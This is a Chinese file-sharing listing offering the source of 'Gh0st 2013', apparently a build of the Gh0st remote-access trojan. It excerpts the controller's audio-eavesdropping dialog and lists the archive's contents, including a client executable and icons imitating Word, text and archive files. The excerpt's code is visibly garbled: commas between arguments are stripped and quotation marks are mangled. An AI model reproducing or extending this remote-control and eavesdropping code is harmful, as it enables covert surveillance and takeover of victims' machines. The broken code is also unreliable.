资源简介
Gh0st 2013源码.zip
代码片段和文件信息
// AudioDlg.cpp : implementation file
//
#include “stdafx.h“
#include “Client.h“
#include “AudioDlg.h“
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CAudioDlg dialog
CAudioDlg::CAudioDlg(CWnd* pParent CIOCPServer* pIOCPServer ClientContext *pContext)
: CDialog(CAudioDlg::IDD pParent)
{
//{{AFX_DATA_INIT(CAudioDlg)
m_bIsSendLocalAudio = FALSE;
//}}AFX_DATA_INIT
m_hIcon = LoadIcon(AfxGetInstanceHandle() MAKEINTRESOURCE(IDI_AUDIO));
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_bIsWorking = true;
m_nTotalRecvBytes = 0;
sockaddr_in sockAddr;
memset(&sockAddr 0 sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket(SOCKADDR*)&sockAddr &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ““;
}
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAudioDlg)
DDX_Control(pDX IDC_SEND_LOCALAUDIO m_blsSendLocalAudio_XTP);
DDX_Control(pDX IDC_AUDIO m_audio);
DDX_Check(pDX IDC_SEND_LOCALAUDIO m_bIsSendLocalAudio);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAudioDlg CDialog)
//{{AFX_MSG_MAP(CAudioDlg)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_SEND_LOCALAUDIO OnSendLocalaudio)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CAudioDlg message handlers
BOOL CAudioDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
// Set the icon for this dialog. The framework does this automatically
// when the application‘s main window is not a dialog
SetIcon(m_hIcon TRUE); // Set big icon
SetIcon(m_hIcon FALSE); // Set small icon
m_blsSendLocalAudio_XTP.SetTheme(xtpControlThemeOffice2003);
CString str;
str.Format(“\\\\%s - 语音监听“ m_IPAddress);
SetWindowText(str);
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext &bToken sizeof(BYTE));
m_send_localaudio.SetFlatstyle(TRUE);
m_send_localaudio.SetTheme(xtpControlThemeOfficeXP);
m_hWorkThread = CreateThread(NULL 0 (LPTHREAD_START_ROUTINE)WorkThread (LPVOID)this 0 NULL);
return true;
}
void CAudioDlg::OnReceiveComplete()
{
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
CString str;
str.Format(“Receive %d KBytes“ m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIPS str);
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1) m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}
void CAudioDlg::OnReceive()
{
}
void CAudioDlg::OnClose()
{
// TODO: Add your message h
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2013-09-21 15:38 Gh0st 2013源码\
目录 0 2013-09-21 14:55 Gh0st 2013源码\Bin\
文件 3973120 2013-09-21 14:42 Gh0st 2013源码\Bin\Client.exe
文件 33 2013-09-21 14:55 Gh0st 2013源码\Bin\Client.ini
目录 0 2013-09-21 14:29 Gh0st 2013源码\Bin\ICO图标\
文件 4286 2009-07-03 06:43 Gh0st 2013源码\Bin\ICO图标\451.ico
文件 766 2006-06-29 15:59 Gh0st 2013源码\Bin\ICO图标\bat.ico
文件 2238 2007-03-31 23:50 Gh0st 2013源码\Bin\ICO图标\blank.ico
文件 2238 2006-06-29 18:20 Gh0st 2013源码\Bin\ICO图标\doc2003.ico
文件 766 2006-06-29 16:11 Gh0st 2013源码\Bin\ICO图标\dos.ico
文件 2238 2006-06-29 18:20 Gh0st 2013源码\Bin\ICO图标\folder.ico
文件 2238 2006-06-29 22:32 Gh0st 2013源码\Bin\ICO图标\ie.ico
文件 2238 2005-10-26 13:26 Gh0st 2013源码\Bin\ICO图标\jpgxp.ico
文件 766 2006-06-29 22:34 Gh0st 2013源码\Bin\ICO图标\rar.ico
文件 2238 2003-06-11 20:03 Gh0st 2013源码\Bin\ICO图标\txt.ico
文件 2238 2006-06-29 22:34 Gh0st 2013源码\Bin\ICO图标\txtxp.ico
文件 2238 2006-06-29 22:33 Gh0st 2013源码\Bin\ICO图标\wmp.ico
文件 2238 2006-06-29 22:34 Gh0st 2013源码\Bin\ICO图标\wmpla
文件 2238 2006-06-29 22:34 Gh0st 2013源码\Bin\ICO图标\word.ico
文件 2238 2006-06-29 22:34 Gh0st 2013源码\Bin\ICO图标\xls2003.ico
文件 895921 2008-05-24 15:18 Gh0st 2013源码\Bin\QQwry.dat
目录 0 2013-09-21 14:29 Gh0st 2013源码\Bin\sound\
文件 77240 2002-09-02 00:00 Gh0st 2013源码\Bin\sound\downfile.wav
文件 90476 2010-12-06 19:33 Gh0st 2013源码\Bin\sound\Login.wav
文件 88514 2010-12-06 19:33 Gh0st 2013源码\Bin\sound\Offline.wav
文件 75326 2002-09-02 00:00 Gh0st 2013源码\Bin\sound\upfile.wav
目录 0 2013-09-21 14:29 Gh0st 2013源码\Bin\tool\
目录 0 2013-09-21 14:29 Gh0st 2013源码\Bin\tool\ico\
文件 2238 2011-02-18 11:59 Gh0st 2013源码\Bin\tool\ico\ico.ico
目录 0 2013-09-21 14:29 Gh0st 2013源码\Bin\tool\res\
文件 879120 2002-01-17 20:45 Gh0st 2013源码\Bin\tool\res\ResHacker.exe
............此处省略4509个文件信息
- 上一篇:Redis开发与运维高清带书签(付磊).pdf
- 下一篇:海康威视IP自动搜索软件
相关资源
- mvc weui上传文件完整demo
- 数字图像处理 冈萨雷斯 VC代码
- skillcore实现的UI动画Demo
- SSM框架-志愿者服务中心展示系统
- Spring+Springmvc+mybaties购物车
- 基于SSM的一个项目
- 华为HCNP-R&S-IERSH12-221V2.0.pdf
- 使用 Spring MVC + JDBC Template 实现登录
- 基于ssh框架的web旅游管理系统
- 教学大纲管理系统
- 基于SpringMVC图书信息管理系统 v1.0.r
- spring+springmvc+hibernate框架简单的登录功
- 爱心宠物诊所系统.rar
- 学VC编游戏PDF电子书()
- opencv-3.4.1-vc14_vc15.exe(OpenCV VS14.15安装
- Web网盘,WebSocket通讯
- SSM框架的CRM系统
- opencv-4.0.0-vc14_vc15.EXE程序
- Hadoop分布式云盘系统
- 基于Qt5.9.1(MSVC) PJSIP网络电话源代码
- EhLib.VCL 9.5 Full Source for Delphi 10.4 Sydn
- VS2017免注册调用大漠收费版类库
- SIM800C_EAT包+编译工具+工具
- opencv-3.4.1(with contrib) 「vs2015(vc1
- VCDS 18.2.1中文版
- VC_redist.x64for2017、2019.rar
- vce_exam_simulator_demo_2.7.7z
- springmvc+jpa(hibernate实现)+spring整合
- MVC+EF框架+Bootstrap项目
- 猫版马里奥VC工程源代码Visual Studio
评论
共有 条评论